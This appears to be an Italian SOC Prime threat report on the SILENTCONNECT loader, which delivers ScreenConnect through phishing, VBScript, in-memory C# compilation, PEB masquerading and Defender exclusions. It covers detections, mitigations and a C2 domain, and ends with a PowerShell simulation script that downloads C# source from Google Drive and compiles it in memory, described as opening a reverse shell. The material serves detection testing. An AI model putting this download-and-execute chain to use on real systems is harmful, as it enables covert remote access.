SOC Prime Bias: Medium

25 Mar 2026 17:18

Dall’invito all’infezione: come SILENTCONNECT distribuisce ScreenConnect

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
Dall’invito all’infezione: come SILENTCONNECT distribuisce ScreenConnect
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sintesi

Il rapporto delinea un caricatore multi-fase chiamato SILENTCONNECT che si basa su un VBScript dropper, compilazione in memoria PowerShell di codice C#, e il mascheramento del PEB per distribuire silenziosamente lo strumento di gestione remota ConnectWise ScreenConnect. L’attacco inizia con una email di phishing che guida le vittime attraverso una pagina CAPTCHA di Cloudflare Turnstile prima di servire il payload VBScript. Questo script recupera un componente C# da Google Drive, lo compila in memoria e poi scarica un MSI di ScreenConnect da un dominio malevolo per stabilire la persistenza come servizio di Windows. La campagna mescola servizi di hosting fidati con binari living-off-the-land per ridurre il suo profilo di rilevamento.

Indagine

Elastic Security Labs ha identificato una catena di avvisi insoliti di script Windows che alla fine hanno rivelato il file E-INVITE.vbs ospitato su Cloudflare R2. L’analisi ha mostrato lo script che lancia un comando PowerShell che chiamava curl.exe per recuperare un file sorgente C# da Google Drive, che è stato poi compilato ed eseguito direttamente in memoria. Il caricatore ha usato NtAllocateVirtualMemory per riservare memoria eseguibile, ha applicato il mascheramento del PEB e ha inserito un’esclusione di Windows Defender prima di scaricare l’installer di ScreenConnect con curl e di eseguirlo attraverso msiexec. La telemetria di rete ha rivelato che il client distribuito raggiungeva un terminale C2 a bumptobabeco.top sulla porta TCP 8041.

Mitigazione

I team di sicurezza dovrebbero monitorare linee di comando di PowerShell sospette che invocano curl.exe, la creazione di cartelle temporanee sotto C:Temp, e l’insolita compilazione Add-Type di codice sorgente C# scaricato. La logica di rilevamento dovrebbe anche prendere in considerazione il mascheramento del PEB segnalando processi i cui valori BaseDLLName o FullDllName non corrispondano al percorso reale del modulo. Il traffico in uscita verso domini sconosciuti che ospitano installer MSI dovrebbe essere bloccato o controllato pesantemente, e l’esecuzione di msiexec dovrebbe essere strettamente controllata per fonti non fidate. Le esclusioni di Windows Defender devono essere applicate solo attraverso flussi di lavoro amministrativi approvati.

Risposta

Se si osservano questi indicatori, isolare immediatamente l’host interessato, terminare il processo malevolo e rimuovere il servizio ScreenConnect installato. Raccogliere prove forensi inclusi file temporanei, l’assembly .NET compilato e qualsiasi pacchetto MSI scaricato. Ripristinare le esclusioni non autorizzate di Windows Defender e ripristinare le impostazioni UAC se sono state modificate. Poi, cercare in tutto l’ambiente più ampio artefatti del caricatore corrispondenti e aggiornare i contenuti di rilevamento con tutti gli IOC recentemente identificati.

"graph TB %% Definizioni classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc classDef malware fill:#ffdddd %% Nodi action_phishing["<b>Azione</b> – <b>Tecnica</b>: T1566 Phishing<br/><b>Descrizione</b>: Email di spearphishing consegna contenuto malevolo."] class action_phishing action action_user_click["<b>Azione</b> – L’utente clicca il link malevolo verso la pagina Cloudflare Turnstile."] class action_user_click action malware_vbscript["<b>Malware</b> – File VBScript<br/><b>Tecnica</b>: T1059.005 Visual Basic<br/><b>Descrizione</b>: Esegue script Visual Basic per lanciare altro codice."] class malware_vbscript malware tool_powershell["<b>Strumento</b> – PowerShell<br/><b>Tecnica</b>: T1059.001 PowerShell<br/><b>Descrizione</b>: Esegue comandi PowerShell per controllo del sistema."] class tool_powershell tool tool_curl["<b>Strumento</b> – Curl<br/><b>Tecnica</b>: T1570 Trasferimento Strumenti Laterale<br/><b>Descrizione</b>: Recupera file da archiviazione remota (Google Drive)."] class tool_curl tool malware_compile["<b>Malware</b> – Compilazione C# in Memoria<br/><b>Tecnica</b>: T1027.004 Compilazione Dopo Consegna<br/><b>Descrizione</b>: Compila codice sorgente C# direttamente in memoria."] class malware_compile malware process_injection["<b>Processo</b> – NtAllocateVirtualMemory<br/><b>Tecnica</b>: T1055.002 Iniezione di Processo<br/><b>Descrizione</b>: Alloca memoria in un processo di destinazione per l’iniezione di payload."] class process_injection process malware_peb["<b>Malware</b> – Mascheramento PEB<br/><b>Tecnica</b>: T1036.011 Mascheramento<br/><b>Descrizione</b>: Sovrascrive BaseDLLName per apparire come winhlp32.exe."] class malware_peb malware tool_cmstp["<b>Strumento</b> – CMSTP<br/><b>Tecnica</b>: T1218.003 Esecuzione Proxy di Binari di Sistema CMSTP<br/><b>Descrizione</b>: Usa l’interfaccia COM di CMSTP per bypassare UAC."] class tool_cmstp tool action_defender_exclusion["<b>Azione</b> – <b>Tecnica</b>: T1564.012 Esclusioni Percorso File<br/><b>Descrizione</b>: Aggiunge un’esclusione di Microsoft Defender per eseguibile malevolo."] class action_defender_exclusion action tool_screenconnect_msi["<b>Strumento</b> – ScreenConnect MSI<br/><b>Tecnica</b>: T1570 Trasferimento Strumenti Laterale<br/><b>Descrizione</b>: Scarica installatore di amministrazione remota."] class tool_screenconnect_msi tool tool_msiexec["<b>Strumento</b> – Msiexec<br/><b>Tecnica</b>: T1547.010 Esecuzione in Avvio Logon Automatico Monitor di Porta<br/><b>Descrizione</b>: Esegue installazione silenziosa del servizio ScreenConnect."] class tool_msiexec tool malware_screenconnect["<b>Malware</b> – Servizio ScreenConnect<br/><b>Tecnica</b>: T1219 Strumenti di Accesso Remoto<br/><b>Descrizione</b>: Persiste sul sistema e si connette al comando e controllo."] class malware_screenconnect malware %% Connessioni action_phishing –>|porta a| action_user_click action_user_click –>|scarica| malware_vbscript malware_vbscript –>|lancia| tool_powershell tool_powershell –>|usa| tool_curl tool_curl –>|recupera sorgente per| malware_compile malware_compile –>|carica in| process_injection process_injection –>|abilita| malware_peb malware_peb –>|abilita| tool_cmstp tool_cmstp –>|attiva| action_defender_exclusion action_defender_exclusion –>|scarica| tool_screenconnect_msi tool_screenconnect_msi –>|installa tramite| tool_msiexec tool_msiexec –>|crea| malware_screenconnect "

Flusso d’attacco

Rilevamenti

Possibile Phishing Google Drive (via proxy)

Squadra SOC Prime
24 Mar 2026

Possibile Infiltrazione / Esfiltrazione Dati / C2 tramite Servizi / Strumenti di Terze Parti (via dns)

Squadra SOC Prime
24 Mar 2026

Possibile Script Powershell Contenente Lolbin (via powershell)

Squadra SOC Prime
24 Mar 2026

Possibile Catena LOLBAS (via cmdline)

Squadra SOC Prime
24 Mar 2026

MsiExec Generato da Processo di Shell (via cmdline)

Squadra SOC Prime
24 Mar 2026

Possibile Accesso Iniziale Tramite Phishing con Estensioni File Come TLD (via dns)

Squadra SOC Prime
24 Mar 2026

Possibile Attività di Comando e Controllo tramite Dominio Software di Accesso Remoto (via dns)

Squadra SOC Prime
24 Mar 2026

Il Dominio di Google Drive è Stato Risolto da Processo Sospetto (via dns_query)

Squadra SOC Prime
24 Mar 2026

Comando e Controllo Sospetto tramite Richiesta DNS di Dominio di Primo Livello (TLD) Insolito (via dns)

Squadra SOC Prime
24 Mar 2026

Uso Sospetto di CURL (via cmdline)

Squadra SOC Prime
24 Mar 2026

Possibile Esecuzione Msiexec di File in Directory Non Comune (via cmdline)

Squadra SOC Prime
24 Mar 2026

IOC (HashSha256) da rilevare: Da Invito a Infezione: Come SILENTCONNECT Distribuisce ScreenConnect

Regole AI di SOC Prime
24 Mar 2026

IOC (Email) da rilevare: Da Invito a Infezione: Come SILENTCONNECT Distribuisce ScreenConnect

Regole AI di SOC Prime
24 Mar 2026

IOC (SourceIP) da rilevare: Da Invito a Infezione: Come SILENTCONNECT Distribuisce ScreenConnect

Regole AI di SOC Prime
24 Mar 2026

IOC (DestinationIP) da rilevare: Da Invito a Infezione: Come SILENTCONNECT Distribuisce ScreenConnect

Regole AI di SOC Prime
24 Mar 2026

Esecuzione PowerShell Sospetta con Download e Esecuzione Payload C# [Powershell di Windows]

Regole AI di SOC Prime
24 Mar 2026

Rilevamento del Download e Esecuzione dell’Installer SILENTCONNECT ScreenConnect [Creazione Processi di Windows]

Regole AI di SOC Prime
24 Mar 2026

Esecuzione Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere superato.

Razionale: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e puntano a generare l’esatta telemetria prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a una diagnosi errata.

  • Narrativa dell’Attacco e Comandi:

    1. Ricognizione iniziale e recupero payload – L’attaccante ospita un file sorgente C# malevolo su Google Drive. Utilizzando PowerShell, scaricano il file non elaborato tramite Invoke-WebRequest.
    2. Compilazione In Memoria – Il codice sorgente C# scaricato viene compilato direttamente in memoria con Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
    3. Esecuzione – Il tipo .NET risultante viene istanziato e il suo metodo Run() viene invocato, stabilendo un reverse shell.
    4. Offuscamento – La linea di comando viene lanciata con -ExecutionPolicy Bypass per evitare blocchi di policy, corrispondendo esattamente alle stringhe che la regola monitora.
  • Script di Test di Regressione:

    # -------------------------------------------------
    # Script avversario simulato – attiva la regola Sigma
    # -------------------------------------------------
    # 1. Definire l'URL del payload remoto C# (link condiviso di Google Drive)
    $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
    
    # 2. Scaricare il sorgente C# in una variabile
    $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
    
    # 3. Compilare e caricare il payload in memoria
    Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
    
    # 4. Eseguire il payload (si assume una classe chiamata "Payload" con metodo statico "Run")
    # -------------------------------------------------
  • Comandi di Pulizia:

    # Rimuovere eventuali file temporanei (nessuno creato) e scaricare l'assembly in memoria
    # PowerShell non fornisce un'operazione di scarico diretta; terminare il processo se necessario
    Stop-Process -Id $PID -Force